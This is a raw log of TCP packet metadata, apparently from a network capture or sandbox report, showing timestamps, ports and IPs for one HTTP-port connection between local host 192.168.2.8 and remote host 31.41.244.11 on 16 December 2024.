Dec 16, 2024 17:02:13.881462097 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.881473064 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.881493092 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.882875919 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.882917881 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.883073092 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.883084059 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.883109093 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.883121967 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.883385897 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.883429050 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.883970976 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.884010077 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.884061098 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.884097099 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.884516954 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.884553909 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.884587049 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.884624958 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.885657072 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.885674953 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.885699034 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.885713100 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.886729002 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.886773109 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.886812925 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.886848927 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.887918949 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.887965918 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.888153076 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.888189077 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.888997078 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.889038086 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.889106989 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.889142990 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.890146017 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.890187025 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.890275955 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.890314102 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.891244888 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.891335964 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.891359091 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.891392946 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.892385006 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.892426014 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.892482996 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.892518997 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.893383026 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.893423080 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.893456936 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.893492937 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.894469023 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.894510031 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.894654989 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.894690990 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.895433903 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.895488977 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.895618916 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.895652056 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.896822929 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.896869898 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.896959066 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.896997929 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.898101091 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.898144007 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.898154974 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.898176908 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.898937941 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.898978949 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.899046898 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.899085045 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.899961948 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.900007963 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.900085926 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.900126934 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.901056051 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.901099920 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.901175976 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.901211977 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.902064085 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.902117014 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.902177095 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.902215004 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.902923107 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.902967930 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.903099060 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.903136969 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.904155016 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.904196978 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.904202938 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.904228926 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.905270100 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.905281067 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.905320883 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.906280994 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.906290054 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.906318903 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.906342983 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.907187939 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.907231092 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.907356977 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.907401085 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.908410072 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.908453941 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.908483982 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.908525944 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.909796953 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.909806967 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.909840107 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.909849882 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.910732985 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.910742044 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.910773993 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.910792112 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.911726952 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.911737919 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.911771059 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.911780119 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.912667990 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.912710905 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.912849903 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.912893057 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.913897038 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.913908005 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.913939953 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.913953066 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.914799929 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.914813995 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.914841890 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.914849997 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.915868998 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.915915012 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.916038990 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.916076899 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.916935921 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.916980028 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.917115927 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.917157888 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:13.917990923 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:13.918035984 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.054574966 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.054620981 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.054703951 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.054750919 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.055094004 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.055133104 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.055176020 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.055217028 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.056214094 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.056251049 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.056426048 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.056463957 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.057272911 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.057322025 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.057354927 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.057394981 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.058378935 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.058440924 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.058475971 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.058598995 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.059638977 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.059652090 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.059695959 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.060659885 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.060671091 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.060753107 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.061553001 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.061606884 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.061680079 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.061726093 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.062850952 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.062911034 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.062990904 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.063031912 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.064047098 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.064059019 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.064093113 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.064110041 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.064786911 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.064848900 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.064969063 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.065015078 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.065949917 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.065996885 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.066029072 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.066076040 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.067173004 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.067186117 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.067220926 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.067231894 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.068254948 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.068269014 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.068308115 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.068321943 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.069108009 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.069134951 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.069152117 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.069453955 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.069502115 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.070247889 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.070297003 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.070451975 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.070494890 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.071638107 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.071686983 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.071713924 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.071753025 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.072709084 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.072765112 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.072791100 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.072838068 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.073708057 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.073720932 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.073750973 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.073765039 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.074531078 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.074574947 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.074696064 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.074786901 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.075603962 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.075673103 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.075759888 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.075797081 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.076654911 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.076703072 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.076934099 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.076980114 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.077892065 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.077924967 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.077948093 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.077959061 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.078871012 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.078917027 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.079096079 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.079149961 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.079876900 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.079924107 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.079989910 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.080038071 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.081018925 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.081062078 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.081072092 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.081111908 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.082206011 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.082216024 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.082262993 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.083187103 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.083241940 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.083350897 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.083395958 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.084319115 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.084363937 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.084382057 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.084419966 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.085397005 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.085438013 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.085453033 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.085488081 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.086442947 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.086488962 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.086492062 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.086524010 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.087577105 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.087627888 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.087965012 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.088010073 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.088840961 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.088855028 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.088902950 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.088902950 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.089623928 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.089678049 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.089744091 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.089782953 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.090727091 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.090781927 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.090812922 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.090853930 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.091847897 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.091886997 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.091912985 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.091950893 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.092832088 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.092884064 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.092962027 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.093015909 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.093930960 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.093977928 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.094007969 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.094050884 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.095077991 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.095175028 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.095304012 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.095345020 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.096214056 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.096257925 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.096328020 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.096436977 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.097177982 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.097220898 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.097311974 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.097353935 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.098273039 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.098316908 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.098380089 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.098421097 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.099354029 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.099395990 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.099426031 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.099467039 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.100409985 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.100480080 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.100553989 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.100599051 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.101474047 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.101520061 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.101617098 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.101656914 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.102535009 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.102579117 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.102746010 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.102787018 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.103832960 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.103846073 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.103879929 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.103894949 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.104732990 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.104779959 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.104872942 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.104917049 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.106000900 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.106013060 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.106049061 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.107072115 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.107084036 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.107121944 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.108115911 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.108129978 CET	80	49708	31.41.244.11	192.168.2.8
Dec 16, 2024 17:02:14.108159065 CET	49708	80	192.168.2.8	31.41.244.11
Dec 16, 2024 17:02:14.108182907 CET	49708	80	192.168.2.8	31.41.244.11
